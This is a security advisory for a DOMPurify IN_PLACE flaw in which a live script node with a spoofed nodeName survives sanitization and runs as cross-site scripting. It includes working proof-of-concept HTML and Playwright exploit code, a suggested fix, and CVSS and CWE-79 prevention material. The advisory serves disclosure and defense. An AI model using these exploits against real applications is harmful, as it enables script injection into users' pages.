GHSA-x4vx-rjvf-j5p4 CVE-2026-65901
DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects
- Severity
- 5.1 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 21.11% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
- None yet
- No fixed version published
Description
Summary
When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.
Affected
- DOMPurify
3.4.6 - Any caller that does
DOMPurify.sanitize(node, { IN_PLACE: true })on attacker-supplied live DOM nodes - Verified attacker-controlled node sources:
- same-origin
iframe→ live node passed by reference - same-origin
window.open()popup → live node passed by reference - same-origin foreign node adopted into the host document via
document.adoptNode(node)and then sanitized in-place
- same-origin
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)
Vulnerability details
Code paths
[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:
const _sanitizeElements = function (currentNode: any): boolean {
...
if (_isClobbered(currentNode)) {
_forceRemove(currentNode);
return true;
}
const tagName = transformCaseFunc(currentNode.nodeName);
...
if (
FORBID_TAGS[tagName] ||
(!(...) && !ALLOWED_TAGS[tagName])
) {
...
_forceRemove(currentNode);
return true;
}
...
};
For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.
[B] — _isClobbered is form-specific:
const _isClobbered = function (element: Element): boolean {
const realTagName = getNodeName ? getNodeName(element) : null;
if (typeof realTagName !== 'string') {
return false;
}
if (transformCaseFunc(realTagName) !== 'form') {
return false;
}
return (...);
};
The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
Why the bypass works
The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.
If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.
For the verified primitive below:
- the real child node is
<script> - its script text is attacker-controlled
- the observable
nodeNameis attacker-controlled and made to appear as"DIV" _sanitizeElementstherefore classifies the real<script>child as an allowed element- the real
<script>survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing
document.adoptNode(node)followed byIN_PLACE
It does not survive:
importNodecloneNode
because those paths materialize a fresh node and discard the hostile object semantics.
Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window.__pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML);
// <div><script>window.__pwned = 1</script></div>
window.__pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>
(2) End-to-end — Playwright
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('about:blank');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => {
window.__hits = [];
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'top.__hits.push("script-fired")';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
document.body.appendChild(host);
return {
version: DOMPurify.version,
output: host.outerHTML,
fired: window.__hits.includes('script-fired'),
};
});
console.log(result);
await browser.close();
})();
Observed:
- Chromium / Firefox / WebKit
{
version: '3.4.6',
output: '<div><script>top.__hits.push("script-fired")</script></div>',
fired: true
}
Impact
Direct
XSS via retained real <script> nodes inside attacker-supplied live DOM objects.
Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);
If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on
IN_PLACEas the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
Suggested fix
Two minimal-risk options:
- Stop trusting instance-visible
nodeNamefor the element decision inIN_PLACE.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
const tagName = transformCaseFunc(currentNode.nodeName);
on hostile live objects.
- Generalize hostile-node detection beyond
form.
The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
nodeNameattributeschildNodes
Either approach would close the verified primitive above.
Affected versions
npm
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 4.0 5.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Active
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- Low
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-cg2g-xh64-v4q7 DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes | Critical | Also affects dompurify |
| GHSA-mrv2-3pqr-j5jr DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) | High | Also affects dompurify |
| GHSA-c6gr-qvv4-5v3f DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml | Medium | Also affects dompurify |
| GHSA-6688-9rhm-gjv2 DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes | Medium | Also affects dompurify |
| GHSA-p98j-92pf-mc4p DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS | Low | Also affects dompurify |
| GHSA-55q2-fjhq-7xh7 DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS | Medium | Also affects dompurify |
| GHSA-c2j3-45gr-mqc4 DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements. | Low | Also affects dompurify |
| GHSA-cmwh-pvxp-8882 DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch) | Medium | Also affects dompurify |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor